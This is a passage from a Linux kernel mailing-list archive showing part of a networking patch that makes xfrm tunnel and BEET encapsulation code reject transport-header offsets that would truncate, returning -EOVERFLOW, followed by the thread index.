skb->mac_header = skb->network_header +
offsetof(struct iphdr, protocol);
- skb->transport_header = skb->network_header + sizeof(*top_iph);
+ if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+ return -EOVERFLOW;
top_iph = ip_hdr(skb);
top_iph->ihl = 5;
@@ -335,7 +340,8 @@ static int xfrm6_tunnel_encap_add(struct xfrm_state *x, struct sk_buff *skb)
skb_set_network_header(skb, -x->props.header_len);
skb->mac_header = skb->network_header +
offsetof(struct ipv6hdr, nexthdr);
- skb->transport_header = skb->network_header + sizeof(*top_iph);
+ if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+ return -EOVERFLOW;
top_iph = ipv6_hdr(skb);
top_iph->version = 6;
@@ -374,7 +380,8 @@ static int xfrm6_beet_encap_add(struct xfrm_state *x, struct sk_buff *skb)
skb->network_header += IPV4_BEET_PHMAXLEN;
skb->mac_header = skb->network_header +
offsetof(struct ipv6hdr, nexthdr);
- skb->transport_header = skb->network_header + sizeof(*top_iph);
+ if (!skb_set_transport_header_careful(skb, sizeof(*top_iph)))
+ return -EOVERFLOW;
ph = __skb_pull(skb, XFRM_MODE_SKB_CB(skb)->ihl - hdr_len);
xfrm6_beet_make_header(skb);
--
2.43.0
^ permalink raw reply related [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-07-31 21:09 UTC | newest]
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2026-07-31 21:08 [PATCH net v2 0/1] net: skbuff: reject skb header offset updates that truncate Zihan Xi
2026-07-31 21:08 ` [PATCH net v2 1/1] " Zihan Xi
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